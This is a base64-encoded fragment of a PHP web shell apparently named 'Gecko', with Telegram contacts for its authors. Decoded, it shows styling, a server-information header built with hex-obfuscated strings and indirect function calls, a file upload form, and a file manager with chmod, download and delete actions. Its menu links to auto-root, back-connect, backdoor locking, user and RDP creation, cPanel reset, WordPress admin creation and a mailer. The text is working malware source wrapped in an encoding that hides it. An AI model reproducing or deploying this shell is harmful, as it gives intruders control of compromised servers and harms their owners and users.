iDQogICAgICAgIH0NCg0KICAgICAgICAuYmFkZ2UtbGludXg6OmFmdGVyIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMDBweDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDQ3YTM7DQogICAgICAgICAgICBjb250ZW50OiAibGludXgiDQogICAgICAgIH0NCg0KICAgICAgICAuYmFkZ2UtYWN0aW9uLWVkaXRvcjpob3Zlcjo6YWZ0ZXIgew0KICAgICAgICAgICAgY29udGVudDogIlJlbmFtZSINCiAgICAgICAgfQ0KDQogICAgICAgIC5iYWRnZS1hY3Rpb24tY2htb2Q6aG92ZXI6OmFmdGVyIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICJDaG1vZCINCiAgICAgICAgfQ0KDQogICAgICAgIC5iYWRnZS1hY3Rpb24tZG93bmxvYWQ6aG92ZXI6OmFmdGVyIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICJEb3dubG9hZCINCiAgICAgICAgfQ0KDQogICAgICAgIC5Db2RlTWlycm9yIHsNCiAgICAgICAgICAgIGhlaWdodDogNzB2aDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5jb2RlLWVkaXRvciwNCiAgICAgICAgLnRlcm1pbmFsIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgLjMpOw0KICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgfQ0KDQogICAgICAgIC5jb2RlLWVkaXRvci1jb250YWluZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmOTsNCiAgICAgICAgICAgIGNvbG9yOiAjMDAwOw0KICAgICAgICAgICAgd2lkdGg6IDkwJTsNCiAgICAgICAgICAgIGhlaWdodDogOTB2aDsNCiAgICAgICAgICAgIG1hcmdpbjogMjBweCBhdXRvIGF1dG87DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4DQogICAgICAgIH0NCg0KICAgICAgICAuY29kZS1lZGl0b3ItaGVhZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLWNvbnRhaW5lciB7DQogICAgICAgICAgICBhbmltYXRpb246IC41cyBib3RoIG1vZGFsLXBvcC1vdXQ7DQogICAgICAgICAgICB3aWR0aDogOTAlOw0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmOTsNCiAgICAgICAgICAgIG1hcmdpbjogMjVweCBhdXRvIGF1dG87DQogICAgICAgICAgICBjb2xvcjogIzAwMDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweA0KICAgICAgICB9DQoNCiAgICAgICAgLmJjLWdlY2tvLA0KICAgICAgICAubWFpbCwNCiAgICAgICAgLnRlcm1pbmFsLWlucHV0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQ7DQogICAgICAgICAgICBjb2xvcjogI2ZmZg0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgew0KICAgICAgICAgICAgcGFkZGluZzogOHB4DQogICAgICAgIH0NCg0KICAgICAgICAudGVybWluYWwtaGVhZCBsaSBhIHsNCiAgICAgICAgICAgIGNvbG9yOiAjMDAwOw0KICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgICAgICAgICAgcmlnaHQ6IDA7DQogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDExMHB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0yMHB4Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAyNXB4Ow0KICAgICAgICAgICAgcGFkZGluZzogMXB4IDEwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIC50ZXJtaW5hbC1ib2R5IHRleHRhcmVhIHsNCiAgICAgICAgICAgIG1hcmdpbjogNHB4Ow0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzIyMjQyZDsNCiAgICAgICAgICAgIGNvbG9yOiAjMjlkYjEyOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4DQogICAgICAgIH0NCg0KICAgICAgICAuYWN0aXZlIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrDQogICAgICAgIH0NCg0KICAgICAgICAudGVybWluYWwtaW5wdXQgew0KICAgICAgICAgICAgd2lkdGg6IDUwMHB4Ow0KICAgICAgICAgICAgcGFkZGluZzogNnB4Ow0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzIyMjQyZDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIG1hcmdpbjogNXB4IDANCiAgICAgICAgfQ0KDQogICAgICAgIC5iYy1nZWNrbyB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBwYWRkaW5nOiA3cHggMTBweDsNCiAgICAgICAgICAgIHdpZHRoOiA3MTJweDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsNCiAgICAgICAgICAgIG1hcmdpbjogMTVweCA0MHB4DQogICAgICAgIH0NCg0KICAgICAgICAubWFpbCB7DQogICAgICAgICAgICB3aWR0aDogNzA1cHg7DQogICAgICAgICAgICByZXNpemU6IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDEwMHB4DQogICAgICAgIH0NCg0KICAgICAgICAubG9nby1nZWNrbyB7DQogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgICAgICAgICB0b3A6IC05MHB4Ow0KICAgICAgICAgICAgcmlnaHQ6IDQwcHg7DQogICAgICAgICAgICB6LWluZGV4OiAtMTsNCiAgICAgICAgICAgIGJvdHRvbTogMA0KICAgICAgICB9DQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQogICAgPGRpdiBjbGFzcz0ibWVudS1oZWFkZXIiPg0KICAgICAgICA8dWw+DQogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWNvbXB1dGVyIj48L2k+Jm5ic3A7PD89ICRmdW5nc2lbOF0oKTsgPz48L2xpPg0KICAgICAgICAgICAgPGxpPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1zZXJ2ZXIiPjwvaT4mbmJzcDs8Pz0gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDUzXHg0Zlx4NDZceDU0XHg1N1x4NDFceDUyXHg0NSJdOyA/PjwvbGk+DQogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLW5ldHdvcmstd2lyZWQiPjwvaT4mbmJzcDs6IDw/PSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJceDVmXHg0MVx4NDRceDQ0XHg1MiJdKTsgPz4gfCZuYnNwOzogPD89ICRfU0VSVkVSWyJceDUyXHg0NVx4NGRceDRmXHg1NFx4NDVceDVmXHg0MVx4NDRceDQ0XHg1MiJdOyA/PjwvbGk+DQogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWdsb2JlIj48L2k+Jm5ic3A7PD89IHMoKTsgPz48L2xpPg0KICAgICAgICAgICAgPGxpPjxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcGhwIj48L2k+Jm5ic3A7PD89IFBIUF9WRVJTSU9OOyA/PjwvbGk+DQogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXIiPjwvaT4mbmJzcDs8Pz0gJGZ1bmdzaVs5XSgpOyA/PjwvbGk+DQogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLWJyYW5kcyBmYS10ZWxlZ3JhbSI+PC9pPiZuYnNwO3d3dy50Lm1lL2ZhemVtcng8L2xpPg0KICAgICAgICAgICAgPGxpPjxpIGNsYXNzPSJmYS1icmFuZHMgZmEtdGVsZWdyYW0iPjwvaT4mbmJzcDt3d3cudC5tZS94ZmF6ZXg8L2xpPg0KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0nPD89ICJceDZkXHg3NVx4NmNceDc0XHg2OVx4NzBceDYxXHg3Mlx4NzRceDJmXHg2Nlx4NmZceDcyXHg2ZFx4MmRceDY0XHg2MVx4NzRceDYxIjsgPz4nPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iZm9ybS11cGxvYWQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiIG5hbWU9ImdlY2tvLXVwLXN1Ym1pdCIgY2xhc3M9ImJ0bi1zdWJtaXQiPiZuYnNwOzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJnZWNrby11cGxvYWQiIGNsYXNzPSJmb3JtLWZpbGUiPjwvbGk+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvdWw+DQogICAgPC9kaXY+DQogICAgPGRpdiBjbGFzcz0ibWVudS10b29scyI+DQogICAgICAgIDx1bD4NCiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZ0ZXJtaW5hbD1ub3JtYWwiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdGVybWluYWwiPjwvaT4gVGVybWluYWw8L2E+PC9saT4NCiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZ0ZXJtaW5hbD1yb290IiBjbGFzcz0iYnRuLXN1Ym1pdCBiYWRnZS1yb290Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1sb2NrIj48L2k+IEFVVE8gUk9PVDwvYT48L2xpPg0KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JmFkbWluZXIiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtZGF0YWJhc2UiPjwvaT4gQWRtaW5lcjwvYT48L2xpPg0KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JmRlc3Ryb3kiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtZ2hvc3QiPjwvaT4gQmFja2Rvb3IgRGVzdHJveWVyPC9hPjwvbGk+DQogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLy93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoP3E9TGludXglMjBLZXJuZWwlMjA8Pz0gc3VnZ2VzdF9leHBsb2l0KCk7ID8+IiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZsYXNrIj48L2k+IExpbnV4IEV4cGxvaXQ8L2E+PC9saT4NCiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZsb2Nrc2hlbGwiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLWxpbnV4Ij48L2k+IExvY2sgU2hlbGw8L2E+PC9saT4NCiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0IGJhZGdlLWxpbnV4IiBpZD0ibG9jay1maWxlIj48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLWxpbnV4Ij48L2k+IExvY2sgRmlsZTwvYT48L2xpPg0KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQgYmFkZ2Utcm9vdCIgaWQ9InJvb3QtdXNlciI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGx1cyI+PC9pPiBDcmVhdGUgVXNlcjwvYT48L2xpPg0KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiIGlkPSJjcmVhdGUtcmRwIj48aSBjbGFzcz0iZmEtc29saWQgZmEtbGFwdG9wLWZpbGUiPjwvaT4gQ1JFQVRFIFJEUDwvYT48L2xpPg0KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+Jm1haWxlciIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1lbnZlbG9wZSI+PC9pPiBQSFAgTWFpbGVyPC9hPjwvbGk+DQogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mYmFja2Nvbm5lY3QiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1zZWNyZXQiPjwvaT4gQkFDS0NPTk5FQ1Q8L2E+PC9saT4NCiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZ1bmxvY2tzaGVsbCIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS11bmxvY2sta2V5aG9sZSI+PC9pPiBVTkxPQ0sgU0hFTEw8L2E+PC9saT4NCiAgICAgICAgICAgIDxsaT48YSBocmVmPSIvL2hhc2hlcy5jb20vZW4vdG9vbHMvaGFzaF9pZGVudGlmaWVyIiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWNvZGUiPjwvaT4gSEFTSCBJREVOVElGSUVSPC9hPjwvbGk+DQogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mY3BhbmVscmVzZXQiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLWNwYW5lbCI+PC9pPiBDUEFORUwgUkVTRVQ8L2E+PC9saT4NCiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZjcmVhdGV3cCIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1icmFuZHMgZmEtd29yZHByZXNzLXNpbXBsZSI+PC9pPiBDUkVBVEUgV1AgVVNFUjwvYT48L2xpPg0KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8vZ2l0aHViLmNvbS9NYWRFeHBsb2l0cy8iIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtbGluayI+PC9pPiZuYnNwO1JFQURNRTwvYT48L2xpPg0KICAgICAgICA8L3VsPg0KICAgIDwvZGl2Pg0KDQogICAgPD9waHANCg0KICAgICRmaWxlX21hbmFnZXIgPSAkZnVuZ3NpWzFdKCJ7LlshLl0sfSoiLCBHTE9CX0JSQUNFKTsNCiAgICAkZ2V0X2N3ZCA9ICRmdW5nc2lbMF0oKTsNCiAgICA/Pg0KDQogICAgPGRpdiBjbGFzcz0ibWVudS1maWxlLW1hbmFnZXIiPg0KICAgICAgICA8dWw+DQogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBpZD0iY3JlYXRlX2ZvbGRlciI+KyBDcmVhdGUgRm9sZGVyPC9hPjwvbGk+DQogICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBpZD0iY3JlYXRlX2ZpbGUiPisgQ3JlYXRlIEZpbGU8L2E+PC9saT4NCiAgICAgICAgPC91bD4NCiAgICAgICAgPGRpdiBjbGFzcz0icGF0aC1wd2QiPg0KICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRnZXRfY3dkKTsgLy8gdW50dWsgZGlyIGdhcmlzIHdpbmRvd3MNCiAgICAgICAgICAgICRwd2QgPSBleHBsb2RlKCIvIiwgJGN3ZCk7DQogICAgICAgICAgICBpZiAoc3RyaXN0cihQSFBfT1MsICJXSU4iKSkgew0KICAgICAgICAgICAgICAgIHdpbmRvd3NEcml2ZXIoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZvcmVhY2ggKCRwd2QgYXMgJGlkID0+ICR2YWwpIHsNCiAgICAgICAgICAgICAgICBpZiAoJHZhbCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICcmbmJzcDs8YSBocmVmPSI/ZD0nIC4gaHgoJy8nKSAuICciPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItcGx1cyI+PC9pPiZuYnNwOy8gPC9hPic7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJHZhbCA9PSAnJykgY29udGludWU7DQogICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Q9JzsNCiAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHgoJHB3ZFskaV0pOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGkgIT0gJGlkKSBlY2hvIGh4KCIvIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gJyI+JyAuICR2YWwgLiAnIC8gJyAuICc8L2E+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjxhIHN0eWxlPSdmb250LXdlaWdodDpib2xkOyBjb2xvcjpvcmFuZ2U7JyBocmVmPSc/ZD0iIC4gaHgoX19ESVJfXykgLiAiJz5bIEhPTUUgU0hFTEwgXTwvYT4mbmJzcDsiOw0KICAgICAgICAgICAgPz4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDwvdWw+DQogICAgICAgIDx0YWJsZSBzdHlsZT0id2lkdGg6IDEwMCU7Ij4NCiAgICAgICAgICAgIDx0aGVhZD4NCiAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgIDx0aD5OYW1lPC90aD4NCiAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8L3RoPg0KICAgICAgICAgICAgICAgICAgICA8dGg+UGVybWlzc2lvbjwvdGg+DQogICAgICAgICAgICAgICAgICAgIDx0aD5BY3Rpb248L3RoPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8L3RoZWFkPg0KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgICAgICAgICA8IS0tIEdlY2tvIEZvbGRlciBGaWxlIE1hbmFnZXIgLS0+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlX21hbmFnZXIgYXMgJF9EKSA6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsyXSgkX0QpKSA6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJjaGVja1tdIiB2YWx1ZT0iPD89ICRfRCA/PiI+Jm5ic3A7PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZvbGRlci1vcGVuIiBzdHlsZT0iY29sb3I6b3JhbmdlOyI+PC9pPiZuYnNwOzxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkgLiAiLyIgLiAkX0QpOyA/PiI+PD89IG5hbWFQYW5qYW5nKCRfRCk7ID8+PC9hPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5bIERJUiBdPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRmdW5nc2lbNF0oJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9EKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjMDBmZjAwIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCEkZnVuZ3NpWzVdKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzBdKCkgLiAnLycgLiAkX0QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBBY3Rpb24gRm9sZGVyIE1hbmFnZXIgLS0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mcmU9PD89IGh4KCRfRCkgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tZWRpdG9yIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcGVuLXRvLXNxdWFyZSI+PC9pPjwvYT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mY2g9PD89IGh4KCRfRCkgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tY2htb2QiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS11c2VyLXBlbiI+PC9pPjwvYT48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgICAgICAgICAgICAgPCEtLSBHZWNrbyBGaWxlcyBNYW5hZ2VyIC0tPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZV9tYW5hZ2VyIGFzICRfRikgOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRmdW5nc2lbM10oJF9GKSkgOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tbXSIgdmFsdWU9Ijw/PSAkX0YgPz4iPiZuYnNwOzw/PSBmaWxlX2V4dCgkX0YpID8+Jm5ic3A7PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSk7ID8+JmY9PD89IGh4KCRfRik7ID8+IiBjbGFzcz0iZ2Vja28tZmlsZXMiPjw/PSBuYW1hUGFuamFuZygkX0YpOyA/PjwvYT48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD89IGZvcm1hdFNpemUoZmlsZXNpemUoJF9GKSk7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzX3dyaXRhYmxlKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iIzAwZmYwMCI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICghaXNfcmVhZGFibGUoJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9GKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEFjdGlvbiBGaWxlIE1hbmFnZXIgLS0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mcmU9PD89IGh4KCRfRikgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tZWRpdG9yIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcGVuLXRvLXNxdWFyZSI+PC9pPjwvYT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mY2g9PD89IGh4KCRfRikgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tY2htb2QiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS11c2VyLXBlbiI+PC9pPjwvYT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mZG9uPTw/PSBoeCgkX0YpID8+IiBjbGFzcz0iYmFkZ2UtYWN0aW9uLWRvd25sb2FkIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZG93bmxvYWQiPjwvaT48L2E+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQogICAgICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPGJyPg0KICAgICAgICA8c2VsZWN0IG5hbWU9ImdlY2tvLXNlbGVjdCIgY2xhc3M9ImJ0bi1zdWJtaXQiPg0KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4NCiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InVuemlwIj5VbnppcDwvb3B0aW9uPg0KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iemlwIj5aaXA8L29wdGlvbj48YnI+DQogICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtYWN0aW9uIiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLXN1Ym1pdCIgc3R5bGU9InBhZGRpbmc6IDguM3B4IDM1cHg7Ij4NCiAgICAgICAgPC9mb3JtPg0KDQogICAgICAgIDwhLS0gTW9kYWwgUG9wIEpxdWVyeSBDcmVhdGUgRm9sZGVyL0ZpbGUgQnkgLi9Nck1hZCAtLT4NCiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj4ke3RoaXMudGl0bGV9PC9pPjwvYj48L2gzPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im1vZGFsLWJvZHktYmMiPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxidXR0b24gY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBpZD0iY2xvc2UtbW9kYWwiPkNsb3NlPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgI